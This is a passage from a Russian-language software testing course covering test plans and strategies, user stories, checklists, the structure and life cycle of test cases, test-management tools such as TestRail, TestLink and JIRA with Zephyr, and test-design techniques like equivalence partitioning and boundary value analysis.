требования к количеству открытых багов выполнены;
выдержка определенного периода без изменения исходного кода приложения

Code Freeze (CF);
выдержка определенного периода без открытия новых багов Zero Bug Bounce
(ZBB).
Преимущества тест плана:
1. Возможность приоритезации задач по тестированию.
2. Построение стратегии тестирования, согласованной со всей командой.
3. Возможность вести учет всех требуемых ресурсов (как технических, так и

человеческих).
4. Планирование использования ресурсов на тестирование.
5. Просчет рисков, возможных при проведении тестирования.
Составляющей частью планирования тестирования (как отдельного документа или же

процесса планирования в целом) является стратегия тестирования. Стратегия может
быть:
1. Частью общего тест-плана.
2. Отдельным документом.
Тестовая стратегия определяет то, как мы тестируем продукт. Это набор мыслей и
идей, которые направляют процесс тестирования.
В стратегии тестирования описывают:
1. Тестовую среду.
2. Анализ рисков проекта.
3. Инструменты, которые будут использовать, чтобы провести автоматизированное

тестирование и для других целей.
4. План действий при непредвиденных обстоятельствах.
Стратегия может быть представлена как в виде традиционно расписанного документа,

так и в более наглядном формате, например, используя таблицу:
101
В общем, план тестирования устанавливает цели процесса тестирования, он

определяет, что будет проверяться, а стратегия тестирования описывает, как достичь
целей, поставленных в плане тестирования.
Пользовательские истории
Пользовательские истории (User Story) — способ описания требований к
разрабатываемой системе, сформулированных как одно или более предложений на
повседневном или деловом языке пользователя. Пользовательские истории
используются гибкими методологиями разработки программного обеспечения для
спецификации требований.
User Story — это короткая формулировка намерения, описывающая что-то, что

система должна делать для пользователя.
Пользовательская история фиксирует короткую формулировку функции на карточке

или, возможно, с помощью онлайн-средства.
Примеры:
Залогиниться в мой портал мониторинга энергопотребления.
Посмотреть ежедневный уровень потребления.
Проверить мой текущий тариф.
Несмотря на то, что стори играют в огромной степени роль, ранее принадлежавшую
спецификациям требований (SRS), сценариям использования и т. п., они все же
ощутимо отличаются рядом тонких, но критических нюансов:
102
Они не являются детальным описанием требований (то-есть того, что система

должна бы делать), а представляют собой скорее обсуждаемое представление
намерения (нужно сделать что-то вроде этого).
Они являются короткими и легко читаемыми, понятными разработчикам,

стейкхолдерам и пользователям.
Они представляют собой небольшие инкременты ценной функциональности,

которая может быть реализована в рамках нескольких дней или недель.
Они относительно легко поддаются эстимированию, таким образом, усилия,

необходимые для реализации, могут быть быстро определены.
Они не занимают огромных, громоздких документов, а скорее организованы в

списки, которые легче упорядочить и переупорядочить по ходу поступления новой
информации.
Они не детализированы в самом начале проекта, а уже более детально

разрабатываются «точно в срок», избегая таким образом слишком ранней
определенности, задержек в разработке, нагромождения требований и чрезмерно
ограниченной формулировки решения.
Они требуют минимум или вовсе не требуют сопровождения и могут быть

безопасно отменены после имплементации.
Структура юзер стори
Текст самой юзер стори должен объяснять роль/действия юзера в системе, его
потребность и профит, который юзер получит после того как история случится.
К примеру: Как, <роль/персона юзера>, я <что-то хочу получить>, <с такой-то

целью> .
Правила на написание User Story
1. Есть один actor.
2. Есть одно действие.
3. Есть одна ценность / value / impact.
Actor
Вы выделили персоны, или у вас есть роли, и вы легко их вписываете в начало

истории. Есть одна проблема. Убери часть истории про актера. Если история ничего
при этом не потеряла - значит эта часть бесполезна.
Джеф Паттон предлагает следующее:
103
1. Разделите всех актеров на группы. Целевая группа, важная группа, менее важная
группа и тп.
2. Дайте уникальные названия актерам в этих группах. Даже если в системе у них
будет одинаковые роли "Пользователя системы".
3. Пишите истории с точки зрения этих актеров указывая их уникальные названия.
4. В результате вы сможете визуально увидеть какие истории необходимы для

актеров целевой группы, какие - для каждой группы и тп. Вы не просто можете
использовать это при разборе истории и выстраивания анализа вокруг указанного
актера. Вы сможете более правильно выстроить приоритет, так как истории
актеров целевой группы для нас более важны.
Действие
Это суть истории, "что нужно сделать". Что можно улучшить. Действие должно быть
одно - основное. Нет смысла описывать" авторизуется и выполняется поиск" или
"указывает параметры поиска и выполняет поиск". Укажите то действие, что вам
действительно нужно.
Важно описывать историю на уровне "ЧТО?" делает, а не "КАК?". Это главное в

истории. Опишите проблему, а не ее решение. Лучше вы потом с командой это
обсудите и найдете более оптимальное "КАК" - решение.
Ценность
Главная проблема с User Story. Вы всегда знаете первую часть истории, но всегда
сложно указать для чего это делается. Но это Scrum, все должно быть указано как User
story согласно шаблону, и потому вы пишите "чтобы ...".
Уберите эту часть из истории. Если ничего не потеряли - значит формализация

ценности в истории была бесполезна. Что же можно сделать?
Отказаться от формулировки "чтобы". Для каких-то историй можно указать ценность

истории в таком формате, но не для большинства.
Перейти с понятия ценности (value) на влияние (impact). Ваша история не обязательна

должна иметь ценность, но обязательно должна оказывать влияние на кого актера, что
указан в истории. А уже это влияние ведет в конечном итоге к цели, которая имеет для
вас ценность.
Представим что вы создали историю - "Как инвестиционный аналитик я получаю отчет

№17 об инвестициях чтобы БЫСТРЕЕ принять решение".
104
У меня Аcceptance Сriteria - это метрика на value в US. Как померить такой value? Как
понять что аналитик принял решение быстрее? Как вы поймете в конце что история
выполнена?
Переделаем историю на влияние - "Как инвестиционный аналитик я получаю отчет

№17 об инвестициях БЫСТРЕЕ". То есть сейчас этот отчет формируется за 60 сек. Вы
указываете в АС что отчет должен формироваться за 15 сек. В конце понятно
выполнено ли АС, понятно какие влияние вы оказали на работу аналитика.
Практические советы по написанию пользовательских историй
Лучше написать много историй поменьше, чем несколько громоздких.
Каждая история в идеале должна быть написана избегая технического жаргона —

чтобы клиент мог приоритезировать истории и включать их в итерации.
Истории должны быть написаны таким образом, чтобы их можно было

протестировать
Тесты должны быть написаны до кода.
Как можно дольше стоит избегать UI. История должна выполняться без привязки к
конкретным элементам.
Каждая история должна содержать оценку.
История должна иметь концовку — т.е. приводить к конкретному результату.
История должна вмещаться в итерацию.
Пример юзер стори:
продолжение:
105
106
Лекция 4, ч.2. Чек-листы
Чек-листы
Чек-лист - набор идей по тестированию, разработке, планированию и управлению. А
также, это перечень формализованных тестовых случаев в удобном для проведения
проверок виде. Тестовые случаи в чек-листе не должны быть зависимыми друг от
друга.
Обязательно должен содержать в себе следующую информацию:
идея проверок;
набор входных данных;
ожидаемые результаты;
булевая отметка о прохождении/непрохождении тестового случая;
булевая отметка о совпадении/несовпадении фактического и ожидаемого

результата по каждой проверке.
Может также содержать шаги для проведения проверки, данные об особенностях

окружения и прочую информацию необходимую для проведения проверок.
Цель – обеспечить стабильность покрытия требований проверками необходимыми и

достаточными для заключения о соответствии им продукта. Особенностью является
то, что чек-листы компонуются теми тестовыми случаями, которые показательны для
определенного требования.
Чек-лист, чаще всего, представляет собой обычный и привычный нам список, который
может быть:
1. Списком, в котором последовательность пунктов не имеет значения (например,

список значений некоего поля);
2. Списком, в котором последовательность пунктов важна (например, шаги в краткой
инструкции).
3. Структурированным (многоуровневым) списком (вне зависимости от учёта
последовательности пунктов), что позволяет отразить иерархию идей.
Чек-лист должен обладать рядом важных свойств:
Логичность.Чек-лист пишется не «просто так», а на основе целей и для того,

чтобы помочь в достижении этих целей. К сожалению, одной из самых частых и
опасных ошибок при составлении чек-листа является превращение его в свалку
мыслей, которые никак не связаны друг с другом.
107
Последовательность и структурированность. Со структурированностью всё

достаточно просто - она достигается за счёт оформления чек-листа в виде
многоуровневого списка. Что касается последовательности, то, даже в том случае,
когда пункты чек-листа не описывают цепочку действий, человеку всё равно
удобнее воспринимать информацию в виде неких небольших групп идей, переход
между которыми является понятным и очевидным (например, сначала можно
прописать идеи простых позитивных тест-кейсов, потом идеи простых негативных
тест-кейсов, потом постепенно повышать сложность тест-кейсов, но не стоит
подавать эти идеи вперемешку).
Полнота и неизбыточность. Чек-лист должен представлять собой аккуратную

«сухую выжимку» идей, в которых нет дублирования ( которые часто появляется
из-за разных формулировок одной и той же идеи) и, в то же время ничто важное
не упущено.
Правила составления чек-листов:

Одна операция.
Пункты чек-листа - это минимальные полные операции. Например, заказать

изготовление визиток и доставить визитки в офис - это 2 разных операции.
Поэтому в чек-листе они отображаются отдельными пунктами: визитки заказаны и
визитки доставлены в офис.
Пункты пишутся в утвердительной форме. Цель чек-листа – проверка готовности

задачи, поэтому лучше составлять пункты в утвердительной форме - «заказаны,
доставлены». Сравните формулировку: «заказать визитки» и «визитки заказаны».
Оптимальное количество пунктов - до 20. Чек-листы не должны быть длинными.

Если все же это требуется, то лучше разбить задачу на несколько этапов и
составить к каждому этапу отдельный чек-лист.
Преимущества использования чек-листов:

Структурирование информации у сотрудника. При записи необходимых действий у
сотрудника чётко вырисовывается нужная последовательность задач.
Повышение скорости обучения новых сотрудников. Не нужно повторять несколько

раз последовательность операций. Достаточно провести короткий инструктаж и
дать чек-лист для самостоятельной работы.
Высокий результат, уменьшение количества ошибок. Как уже говорилось ранее,

чек-листы помогают избежать проколов и ошибок по невнимательности.
108
Взаимозаменяемость сотрудников.
Экономия рабочего времени. Сотрудники будут значительно меньше времени

тратить на переделывание задач.
Рис. 4.1. Пример чек-листа
109
Лекция 4, ч.3. Тест-кейсы
Тест кейсы
Тестовый случай (Test Case) - это артефакт, описывающий совокупность шагов,
конкретных условий и параметров, необходимых для проверки реализации
тестируемой функции или её части.
Высокоуровневый тест-кейс - тест-кейс без конкретных входных данных и

ожидаемых результатов. Как правило, ограничивается общими идеями и операциями,
схож по своей сути с подробно описанным пунктом чек-листа. Достаточно часто
встречается в интеграционном тестировании и системном тестировании, а также на
уровне дымового тестирования. Может служить отправной точкой для проведения
исследовательского тестирования или для создания низкоуровневых тест-кейсов.
Низкоуровневый тест-кейс - тест-кейс с конкретными входными данными и

ожидаемыми результатами. Представляет собой полностью готовый к выполнению
тест-кейс и является наиболее классическим видом тест-кейсов. Начинающих
тестировщиков чаще всего учат писать именно такие тесты, поскольку прописать все
данные подробно намного проще, чем понять, какой информацией можно пренебречь,
при этом не снизив ценность тест-кейса.
Спецификация тест-кейса - документ, описывающий набор тест-кейсов (включая их

цели, входные данные, условия и шаги выполнения, ожидаемые результаты) для
тестируемого элемента.
Спецификация теста - документ, состоящий из спецификации тест-дизайна,

спецификации тест-кейса (test case specification) и/или спецификации тест-процедуры
(test procedure specification).
Тест-сценарий (test scenario, test procedure specification, test script) - документ,

описывающий последовательность действий по выполнению теста (также известен как
«тест-скрипт»).
Цель написания тест-кейсов:

Тестирование можно проводить и без тест-кейсов (не нужно, но можно; да,
эффективность такого подхода варьируется в очень широком диапазоне, в
зависимости от множества факторов). Наличие же тест-кейсов позволяет:
1. Структурировать и систематизировать подход к тестированию (без чего крупный

проект почти гарантированно обречён на провал).
2. Вычислять метрики тестового покрытия (test coverage metrics) и принимать меры
110
по его увеличению (тест-кейсы здесь являются главным источником информации,

без которого существование подобных метрик теряет смысл).
3. Отслеживать соответствие текущей ситуации плану (сколько примерно
понадобится тест-кейсов, сколько уже есть, сколько выполнено из
запланированного на данном этапе количества и т.д.).
4. Уточнить взаимопонимание между заказчиком, разработчиками и тестировщиками
(тест-кейсы зачастую намного более наглядно показывают поведение
приложения, чем это отражено в требованиях)..
5. Хранить информацию для длительного использования и обмена опытом между
сотрудниками и командами (или, как минимум, не пытаться удержать в голове
сотни страниц текста).
6. Проводить регрессионное тестирование и повторное тестирование (которые без
тест-кейсов было бы вообще невозможно выполнить).
7. Повышать качество требований (написание чек-листов и тест-кейсов - хорошая
техника тестирования требований).
8. Быстро вводить в курс дела нового сотрудника, недавно подключившегося к
проекту.
Жизненный цикл тест-кейса

В отличие от отчёта о дефекте, у которого есть полноценный развитый жизненный
цикл, для тест-кейса речь идёт о наборе состояний, в которых он может находиться
(См. рис.4.2. Жирным шрифтом отмечены наиболее важные состояния).
111
Рис. 4.2. Жизненный цикл тест-кейса
Создан (new) - типичное начальное состояние практически любого артефакта. Тест-

кейс автоматически переходит в это состояние после создания.
Запланирован (planned, ready for testing) - в этом состоянии тест-кейс находится,

когда он или явно включён в план ближайшей итерации тестирования, или, как
минимум, готов для выполнения.
Не выполнен (not tested) - в некоторых системах управления тест-кейсами это

состояние заменяет собой предыдущее («запланирован»). Нахождение тест-кейса в
данном состоянии означает, что он готов к выполнению, но ещё не был выполнен.
Выполняется (work in progress) - если тест-кейс требует длительное время для

выполнения, то он может быть переведён в это состояние для подчёркивания того
факта, что работа идёт, и скоро можно ожидать её результатов. Если выполнение тест-
кейса занимает мало времени, это состояние, как правило, пропускается, а тест-кейс
сразу переводится в одно из трёх следующих состояний - «провален», «пройден
успешно» или «заблокирован».
Пропущен (skipped) - бывают ситуации, когда выполнение тест-кейса отменяется по

соображениям нехватки времени или изменения логики тестирования.
112
Провален (failed) - данное состояние означает, что в процессе выполнения тест-кейса

был обнаружен дефект, заключающийся в том, что ожидаемый результат по как
минимум одному шагу тест-кейса не совпадает с фактическим результатом. Если в
процессе выполнения тест-кейса был «случайно» обнаружен дефект, никак не
связанный с шагами тест-кейса и их ожидаемыми результатами, тест-кейс считается
пройденным успешно (при этом, естественно, по обнаруженному дефекту создаётся
отчёт о дефекте).
Пройден успешно (passed) - данное состояние означает, что в процессе выполнения

тест-кейса не было обнаружено дефектов, связанных с расхождением ожидаемых и
фактических результатов его шагов.
Заблокирован (blocked) - данное состояние означает, что по какой-то причине

выполнение тест-кейса невозможно (как правило, такой причиной является наличие
дефекта, не позволяющего реализовать некий пользовательский сценарий).
Закрыт (closed) - очень редкий случай, т.к. тест-кейс, как правило, оставляют в
состояниях «провален / пройден успешно / заблокирован / пропущен». В некоторых
системах управления тест-кейс переводят в данное состояние, чтобы подчеркнуть тот
факт, что на данной итерации тестирования все действия с ним завершены.
Требует доработки (not ready) - как видно из схемы, в это состояние (или из него)
тест-кейс может быть переведён в любой момент времени, если в нём будет
обнаружена ошибка, если изменятся требования, по которым он был написан, или
наступит иная ситуация, не позволяющая считать тест-кейс пригодным для
выполнения и перевода в иные состояния.
Структура тест кейса
113
Идентификатор (identifier) представляет собой уникальное значение, позволяющее

однозначно отличить один тест-кейс от другого и используемое во всевозможных
ссылках. В общем случае идентификатор тест-кейса может представлять собой просто
уникальный номер, но (если позволяет инструментальное средство управления тест-
кейсами) может быть и куда сложнее: включать префиксы, суффиксы и иные
осмысленные компоненты, позволяющие быстро определить цель тест-кейса и часть
приложения (или требований), к которой он относится (например,
UR216_S12_DB_Neg).
Приоритет (priority) показывает важность тест-кейса. Он может быть выражен

буквами (A, B, C, D, E), цифрами (1, 2, 3, 4, 5), словами («крайне высокий», «высокий»,
«средний», «низкий», «крайне низкий») или иным удобным способом. Количество
градаций также не фиксировано, но, чаще всего, лежит в диапазоне от трёх до пяти.
Приоритет тест-кейса может коррелировать с:
важностью требования, пользовательского сценария или функции, с которыми

связан тест-кейс;
потенциальной важностью дефекта, на поиск которого направлен тест-кейс;
степенью риска, связанного с проверяемым тест-кейсом требованием, сценарием

или функцией.
Основная задача этого атрибута - упрощение распределения внимания и усилий

команды (более высокоприоритетные тест-кейсы получают их больше), а также
упрощение планирования и принятия решения о том, чем можно пожертвовать в
некоей форс-мажорной ситуации, не позволяющей выполнить все запланированные
тест-кейсы.
114
Связанное с тест-кейсом требование (requirement) показывает то основное

требование, проверке выполнения которого посвящён тест-кейс (основное, поскольку
один тест-кейс может затрагивать несколько требований). Наличие этого поля
улучшает такое свойство тест-кейса, как прослеживаемость. Заполнение этого поля
является не обязательным.
Модуль и подмодуль приложения (module and submodule) указывают на части

приложения, к которым относится тест-кейс, и позволяют лучше понять его цель. Идея
деления приложения на модули и подмодули проистекает из того, что в сложных
системах практически невозможно охватить взглядом весь проект целиком, и вопрос
«как протестировать это приложение» становится недопустимо сложным. Тогда
приложение логически разделяется на компоненты (модули), а те, в свою очередь, на
более мелкие компоненты (подмодули). Как правило, иерархия модулей и подмодулей
создаётся как единый набор для всей проектной команды, чтобы исключить путаницу
из-за того, что разные люди будут использовать разные подходы к такому разделению
или даже просто разные названия одних и тех же частей приложения. В реальности
проще всего отталкиваться от архитектуры и дизайна приложения. Например, в уже
знакомом нам приложении можно выделить такую иерархию модулей и подмодулей:
Механизм запуска:
механизм анализа параметров;
механизм сборки приложения;
механизм обработки ошибочных ситуаций.
Механизм взаимодействия с файловой системой:
механизм обхода дерева SOURCE_DIR;
механизм обработки ошибочных ситуаций.
Заглавие (суть) тест-кейса (title) призвано упростить и ускорить понимание основной

идеи (цели) тест-кейса без обращения к его остальным атрибутам.
Исходные данные, необходимые для выполнения тест-кейса (precondition,

preparation, initial data, setup), позволяют описать всё то, что должно быть подготовлено
до начала выполнения тест-кейса, например:
состояние базы данных;
состояние файловой системы и её объектов;
состояние серверов и сетевой инфраструктуры.
115
Шаги тест-кейса (steps) описывают последовательность действий, которые

необходимо реализовать в процессе выполнения тест-кейса.
Общие рекомендации по написанию шагов таковы:

1. Начинайте с понятного и очевидного места, не пишите лишних начальных шагов
(запуск приложения, очевидные операции с интерфейсом и т.п.).
2. Даже если в тест-кейсе всего один шаг, нумеруйте его (иначе возрастает
вероятность в будущем случайно «приклеить» описание этого шага к новому
тексту).
3. Если вы пишете на русском языке, то используйте безличную форму (например,

«открыть», «ввести», «добавить» вместо «откройте», «введите», «добавьте»), в
английском языке не надо использовать частицу «to» (т.е. «запустить приложение»
будет «start application», не «to start application»).
4. Соотносите степень детализации шагов и их параметров с целью тест-кейса, его

сложностью, уровнем и т.д. В зависимости от этих и многих других факторов
степень детализации может варьироваться от общих идей до предельно чётко
прописанных значений и указаний.
5. Ссылайтесь на предыдущие шаги и их диапазоны для сокращения объёма текста

(например, «повторить шаги 3–5 со значением…»).
6. Пишите шаги последовательно, без условных конструкций вида «если… то…».
Ожидаемые результаты (expected results) по каждому шагу тест-кейса описывают

реакцию приложения на действия, описанные в поле «шаги тест-кейса». Номер шага
соответствует номеру результата.
По написанию ожидаемых результатов можно порекомендовать следующее:
Описывайте поведение системы так, чтобы исключить субъективное толкование

(например, «приложение работает верно» — плохо, «появляется окно с
надписью…» — хорошо).
Пишите ожидаемый результат по всем шагам без исключения, если у вас есть хоть
малейшие сомнения в том, что результат некоего шага будет совершенно
тривиальным и очевидным (если вы всё же пропускаете ожидаемый результат для
какого-то тривиального действия, лучше оставить в списке ожидаемых
результатов пустую строку — это облегчает восприятие).
Пишите кратко, но не в ущерб информативности.
Избегайте условных конструкций вида «если… то…».
116
Набор тест-кейсов (test case suite, test suite, test set) - совокупность тест-кейсов,
выбранных с некоторой общей целью или по некоторому общему признаку.
Наборы тест-кейсов можно разделить на свободные (порядок выполнения тест-

кейсов не важен) и последовательные (порядок выполнения тест-кейсов важен).
Преимущества свободных наборов:
Тест-кейсы можно выполнять в любом удобном порядке, а также создавать

«наборы внутри наборов».
Если какой-то тест-кейс завершился ошибкой, это не повлияет на возможность

выполнения других тест-кейсов.
Преимущества последовательных наборов:
Каждый следующий в наборе тест-кейс, в качестве входного состояния

приложения, получает результат работы предыдущего тест-кейса, что позволяет
сильно сократить количество шагов в отдельных тест-кейсах.
Длинные последовательности действий куда лучше имитируют работу реальных

пользователей, чем отдельные «точечные» воздействия на приложение.
К отдельному подвиду последовательных наборов тест-кейсов (или даже

неоформленных идей тест-кейсов, таких, как пункты чек-листа) можно отнести
пользовательские сценарии (или сценарии использования), представляющие собой
117
цепочки действий, выполняемых пользователем в определённой ситуации для

достижения определённой цели.
Классификация наборов тест-кейсов
Набор изолированных свободных тест-кейсов: действия из раздела

«приготовления» нужно повторять перед каждым тест-кейсом, а сами тест-кейсы
можно выполнять в любом порядке.
Набор обобщённых свободных тест-кейсов: действия из раздела

«приготовления» нужно выполнить один раз (а потом просто выполнять тест-
кейсы), а сами тест-кейсы можно выполнять в любом порядке.
Набор изолированных последовательных тест-кейсов: действия из раздела

«приготовления» нужно повторять перед каждым тест-кейсом, а сами тест-кейсы
нужно выполнять в строго определённом порядке.
Набор обобщённых последовательных тест-кейсов: действия из раздела

«приготовления» нужно выполнить один раз (а потом просто выполнять тест-
кейсы), а сами тест-кейсы нужно выполнять в строго определённом порядке.
Главное преимущество изолированности: каждый тест-кейс выполняется в «чистой

среде», на него не влияют результаты работы предыдущих тест-кейсов.
Главное преимущество обобщённости: приготовления не нужно повторять

(экономия времени).
Главное преимущество последовательности: ощутимое сокращение шагов в

каждом тест-кейсе, т.к. результат выполнения предыдущего тест-кейса является
начальной ситуацией для следующего.
Главное преимущество свободы: возможность выполнять тест-кейсы в любом

порядке, а также то, что при провале какого-то тест-кейса (приложение не пришло в
ожидаемое состояние) остальные тест-кейсы по-прежнему можно выполнять.
Набор тест-кейсов всегда создаётся с какой-то целью, на основе какой-то логики, и по

этим же принципам в набор включаются тесты, обладающие подходящими
свойствами.
118
Подходы к составлению наборов тест-кейсов:

На основе чек-листов.
На основе разбиения приложения на модули и подмодули. Для каждого модуля

(или его отдельных подмодулей) можно составить свой набор тест кейсов.
По принципу проверки самых важных, менее важных и всех остальных функций

По принципу группировки тест-кейсов для проверки некоего уровня требований

или типа требований, группы требований или отдельного требования.
По принципу частоты обнаружения тест-кейсами дефектов в приложении

(например, мы видим, что некоторые тест-кейсы раз за разом завершаются
неудачей, значит, мы можем объединить их в набор, условно названный
«проблемные места в приложении»).
По архитектурному принципу: наборы для проверки пользовательского

интерфейса и всего уровня представления, для проверки уровня бизнес-логики,
для проверки уровня данных.
По области внутренней работы приложения, например, «тест-кейсы,

затрагивающие работу с базой данных», «тест-кейсы, затрагивающие работу с
файловой системой», «тест-кейсы, затрагивающие работу с сетью».
По видам тестирования.
119
Лекция 4, ч.4. Программное обеспечение для управления тест-кейсами
Программное обеспечение для

управления тест-кейсами
Инструментальным средством управления тест кейсами является TestRail.
1. Title (заглавие) здесь данное поле является обязательным для заполнения.
2. Section (секция) — очередная вариация на тему «Модуль» и «Подмодуль»,

позволяющая создавать иерархию секций, в которых можно размещать тест-
кейсы.
120
3. Type (тип) здесь по умолчанию предлагает выбрать один из вариантов: automated

(автоматизированный), functionality (проверка функциональности), performance
(производительность), regression (регрессионный), usability (удобство
использования), other (прочее).
4. Priority (приоритет) здесь представлен числами, по которым распределены

следующие словесные описания: must test (обязательно выполнять), test if time
(выполнять, если будет время), don’t test (не выполнять).
5. Estimate (оценка) содержит оценку времени, которое необходимо затратить на

выполнение тест-кейса.
6. Milestone (ключевая точка) позволяет указать ключевую точку проекта, к которой

данный тест-кейс должен устойчиво показывать положительный результат
(выполняться успешно).
7. References (ссылки) позволяет хранить ссылки на такие артефакты, как

требования, пользовательские истории, отчёты о дефектах и иные документы
(требует дополнительной настройки).
8. Preconditions (приготовления) представляет собой классику описания

предварительных условий и необходимых приготовлений к выполнению тест-
кейса.
9. Step Description (описание шага) позволяет добавлять описание отдельного

шага тест-кейса.
10. Expected Results (ожидаемые результаты) позволяет описать ожидаемый

результат по каждому шагу.
Инструментом для управления тест кейсами является TestLink
121
1. Title (заглавие) здесь тоже является обязательным для заполнения.
2. Summary (описание) позволяет добавить любую полезную информацию о тест-

кейсе (включая особенности выполнения, приготовления и т.д.).
3. Steps (шаги выполнения) позволяет описать шаги выполнения.
4. Expected Results (ожидаемые результаты) позволяет описать ожидаемые

результаты, относящиеся к шагам выполнения.
5. Available Keywords (доступные ключевые слова) содержит список ключевых

слов, которые можно проассоциировать с тест-кейсом для упрощения
классификации и поиска тест-кейсов.Это ещё одна вариация идеи «Модулей» и
«Подмодулей» (в некоторых системах реализованы оба механизма).
6. Assigned Keywords (назначенные ключевые слова) содержит список ключевых

слов, проассоциированных с тест-кейсом.
JIRA + Zephyr
122
JIRA — это, главным образом, средство отслеживания ошибок, целью которого

является контроль процесса разработки с задачами, ошибками и другими типами
гибких карт.
Zephyr — один из многих плагинов JIRA, расширяющих возможности JIRA.
С помощью их комбинации Вы получите полный сервис, в соответствии с

функциональностью инструментов управления тестированием:
Создание тест-плана.
Описание тестовых случаев.
Выполнение тестирования.
Создание отчетов.
Если тестовый продукт ведет себя неправильно, вы можете немедленно создать отчет
о ошибке.
123
124
Лекция 5, ч.1. Техники тест-дизайна
Техники тест-дизайна
Тест-дизайн – это этап процесса тестирования ПО, на котором проектируются и
создаются тестовые случаи (тест-кейсы), в соответствии с определёнными ранее
критериями качества и целями тестирования.
Роли в тест дизайне:
Тест-аналитик - определяет "ЧТО тестировать?".
Тест-дизайнер - определяет "КАК тестировать?".
Попросту говоря, задача тест-аналитиков и дизайнеров сводится к тому, чтобы,

используя различные стратегии и техники тест-дизайна, создать набор тестовых
случаев, обеспечивающий оптимальное тестовое покрытие тестируемого приложения.
На большинстве проектов эти роли выполняет QA инженер.
Тестовое покрытие - это одна из метрик оценки качества тестирования,

представляющая из себя плотность покрытия тестами требований либо исполняемого
кода.
Существуют следущее подходы к оценке и измерению тестового покрытия:
Покрытие требований (Requirements Coverage) - оценка покрытия тестами

функциональных и нефункциональных требований к продукту, путем построения
матриц трассировки (traceability matrix).
Покрытие кода (Code Coverage) - оценка покрытия исполняемого кода тестами,

путем отслеживания непроверенных в процессе тестирования частей
программного обеспечения.
Тестовое покрытие на базе анализа потока управления - оценка покрытия

основанная на определении путей выполнения кода программного модуля и
создания выполняемых тест кейсов для покрытия этих путей.
Техники тест дизайна:

Эквивалентное Разделение (Equivalence Partitioning - EP). Как пример, у Вас
есть диапазон допустимых значений от 1 до 10, Вы должны выбрать одно верное
значение внутри интервала, скажем, 5 и одно неверное значение вне интервала -
0.
125
Анализ Граничных Значений (Boundary Value Analysis - BVA). Если взять

пример выше, в качестве значений для позитивного тестирования выберем
минимальную и максимальную границы (1 и 10) и значения больше и меньше
границ (0 и 11). Анализ Граничных значений может быть применен к полям,
записям, файлам, или к любого рода сущностям, имеющим ограничения.
Причина / Следствие (Cause/Effect - CE). Это, как правило, ввод комбинаций

условий (причин), для получения ответа от системы (Следствие). Например, Вы
проверяете возможность добавлять клиента, используя определенную экранную
форму. Для этого Вам необходимо будет ввести несколько полей, таких как "Имя",
"Адрес", "Номер Телефона" а затем нажать кнопку "Добавить" - это "Причина".
После нажатия кнопки "Добавить", система добавляет клиента в базу данных и
показывает его номер на экране - это "Следствие".
Предугадывание ошибки (Error Guessing - EG). Когда тест-аналитик использует

свои знания системы и способность к интерпретации спецификации на предмет
того, чтобы "предугадать", при каких входных условиях система может выдать
ошибку. Например, спецификация говорит: "Пользователь должен ввести код".
Тест-аналитик, будет думать: "Что, если я не введу код?", "Что, если я введу
неправильный код? " и так далее. Это и есть предугадывание ошибки.
Исчерпывающее тестирование (Exhaustive Testing - ET) - это крайний случай. В

пределах этой техники Вы должны проверить все возможные комбинации входных
значений, и в принципе, это должно найти все проблемы. На практике применение
этого метода не представляется возможным из-за огромного количества входных
значений.
Парное тестирование (Pairwise Testing - PT) — это техника формирования

наборов тестовых данных. Сформулировать суть можно, например, таким
образом: формирование таких наборов данных, в которых каждое тестируемое
значение каждого из проверяемых параметров хотя бы единожды сочетается с
каждым тестируемым значением всех остальных проверяемых параметров.
Пример использования техники анализа классов

эквивалентности:
Эквивалентное разделение, алгоритм использования техники:
1. Необходимо определить класс эквивалентности. Это главный шаг техники. От него

во многом зависит эффективность её применения.
2. Затем нужно выбрать одного представителя от каждого класса. На этом шаге из
126
каждого эквивалентного набора тестов мы выбираем один тест.

3. Нужно выполнить тесты. На этом шаге мы выполняем тесты от каждого класса
эквивалентности.
Можно разбивать тесты на классы эквивалентности по разным принципам. Например,

если мы тестируем поле ввода, которое принимает максимум 5 символов, то можем
выбрать разные принципы разбиения на классы эквивалентности:
По количеству символов.
По типу символов (цифры, буквы, спец символы).
Пример: функцию подсчета комиссии при отмене бронирования авиабилетов. Размер

комиссии зависит от времени до вылета, когда совершена отмена:
За 5 суток до вылета комиссия составляет 0%.

Меньше 5 суток, но больше 24 часов – 50%.
Меньше 24 часов, но до вылета – 75%.
После вылета – 100%.
Рис. 5.1. Пример: функция подсчета комиссии при отмене бронирования авиабилетов
Шаги:
1. Определим классы эквивалентности:
(для каждого теста из этих классов мы ожидаем получить одинаковый результат):
1 класс: время до вылета > 5 суток.

2 класс: 24 часа < время до вылета < 5 суток.
3 класс: 0 часов < время до вылета < 24 часа.
4 класс: время до вылета < 0 часов (вылет уже состоялся).
2. Выберем представителя от каждого класса:
Здесь мы можем поступить так, как нам хочется и выбрать любые значения из класса.
Ведь, если предположить, что мы правильно разбили на классы эквивалентности, то
нет разницы, какое значение из диапазона мы выберем.
время до вылета = 10 суток (тест из 1-го класса).

время до вылета = 3 суток (тест из 2-го класса).
время до вылета = 12 часов (тест из 3-го класса).
127
время до вылета = -30 мин (тест из 4-го класса).
3. Выполним тесты:
Отменим бронь за 10 суток до вылета и проверим, что комиссия составила 0%.

Отменим бронь за 3 суток до вылета и проверим, что комиссия составила 50%.
Отменим бронь за 12 часов до вылета и проверим, что комиссия составила 75%.
Отменим бронь через 30 мин после вылета и проверим, что комиссия составила
100%.
Фактически, осталось всего 4 теста. А сколько возможных тестов существует? Даже

если мы введем ограничение, что отмена бронирования может произойти в рамках 10
суток до вылета и 1 суток после вылета, то у нас будет около 950400 возможных
тестов (количество секунд в 11 сутках).
Плюсы и минусы техники анализа классов эквивалентности
К плюсам можно отнести заметное сокращение времени и улучшение

структурированности тестирования.
К минусам можно отнести то, что, при неправильном использовании техники, мы
рискуем потерять баги.
Пример использования техники анализа граничных

значений
Примерный алгоритм использования техники анализа граничных значений:
1. Во-первых, нужно выделить классы эквивалентности. Опять же, это очень важный
шаг и от правильности разбиения на классы эквивалентности зависит
эффективность тестов граничных значений.
2. Далее нужно определить граничные значения этих классов.
3. Нам нужно понять, к какому классу будет относиться каждая граница.
4. Для каждой границы нам нужно провести тесты по проверке значения до границы,
на границе, и сразу после границы.
Пример: функцию подсчета комиссии при отмене бронирования авиабилетов. Размер

комиссии зависит от времени до вылета, когда совершена отмена:
За 5 суток до вылета комиссия составляет 0%.

Меньше 5 суток, но больше 24 часов – 50%.
Меньше 24 часов, но до вылета – 75%..
После вылета – 100%
128
Рис. 5.2. Пример: функция подсчета комиссии при отмене бронирования авиабилетов
Шаги:
1. Выделим классы эквивалентности:
1 класс: время до вылета > 5 суток.

